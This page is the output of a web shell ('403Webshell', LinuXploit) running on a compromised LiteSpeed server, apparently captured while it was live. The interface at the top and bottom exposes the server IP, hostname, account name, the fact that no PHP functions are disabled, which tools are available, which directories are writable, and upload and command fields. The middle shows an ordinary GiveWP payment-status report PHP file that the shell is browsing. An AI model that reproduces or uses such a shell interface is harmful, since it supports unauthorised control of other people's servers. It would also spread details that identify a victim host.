403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.144.135.25
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/API/Endpoints/Reports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/API/Endpoints/Reports/PaymentStatuses.php
<?php

/**
 * Reports base endpoint
 *
 * @package Give
 */

namespace Give\API\Endpoints\Reports;

class PaymentStatuses extends Endpoint
{

    public function __construct()
    {
        $this->endpoint = 'payment-statuses';
    }

    public function getReport($request)
    {
        $start = date_create($request->get_param('start'));
        $end = date_create($request->get_param('end'));

        $gatewayObjects = give_get_payment_gateways();
        $paymentModeKeyCompare = '!=';

        if ($this->testMode === false) {
            unset($gatewayObjects['manual']);
            $paymentModeKeyCompare = '=';
        }

        $gateway = array_keys($gatewayObjects);

        $args = [
            'number' => -1,
            'paged' => 1,
            'orderby' => 'date',
            'order' => 'DESC',
            'start_date' => $request->get_param('start'),
            'end_date' => $request->get_param('end'),
            'gateway' => $gateway,
            'meta_query' => [
                [
                    'key' => '_give_payment_currency',
                    'value' => $this->currency,
                    'compare' => '=',
                ],
                [
                    'key' => '_give_payment_mode',
                    'value' => 'live',
                    'compare' => $paymentModeKeyCompare,
                ],
            ],
        ];

        // Use give_count_payments logic to get payments
        $payments = give_count_payments($args);
        $completed = property_exists(
            $payments,
            'give_subscription'
        ) ? $payments->publish + $payments->give_subscription : $payments->publish;

        return [
            'labels' => [
                'Completed',
                'Pending',
                'Refunded',
                'Abandoned',
                'Cancelled',
                'Failed',
            ],
            'datasets' => [
                [
                    'data' => [
                        $completed,
                        $payments->pending,
                        $payments->refunded,
                        $payments->abandoned,
                        $payments->cancelled,
                        $payments->failed,
                    ],
                    'tooltips' => [
                        [
                            'title' => $completed . ' ' . __('Payments', 'give'),
                            'body' => __('Completed', 'give'),
                            'footer' => '',
                        ],
                        [
                            'title' => $payments->pending . ' ' . __('Payments', 'give'),
                            'body' => __('Pending', 'give'),
                            'footer' => '',
                        ],
                        [
                            'title' => $payments->refunded . ' ' . __('Payments', 'give'),
                            'body' => __('Refunded', 'give'),
                            'footer' => '',
                        ],
                        [
                            'title' => $payments->abandoned . ' ' . __('Payments', 'give'),
                            'body' => __('Abandoned', 'give'),
                            'footer' => '',
                        ],
                        [
                            'title' => $payments->cancelled . ' ' . __('Payments', 'give'),
                            'body' => __('Cancelled', 'give'),
                            'footer' => '',
                        ],
                        [
                            'title' => $payments->failed . ' ' . __('Payments', 'give'),
                            'body' => __('Failed', 'give'),
                            'footer' => '',
                        ],
                    ],
                ],
            ],
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit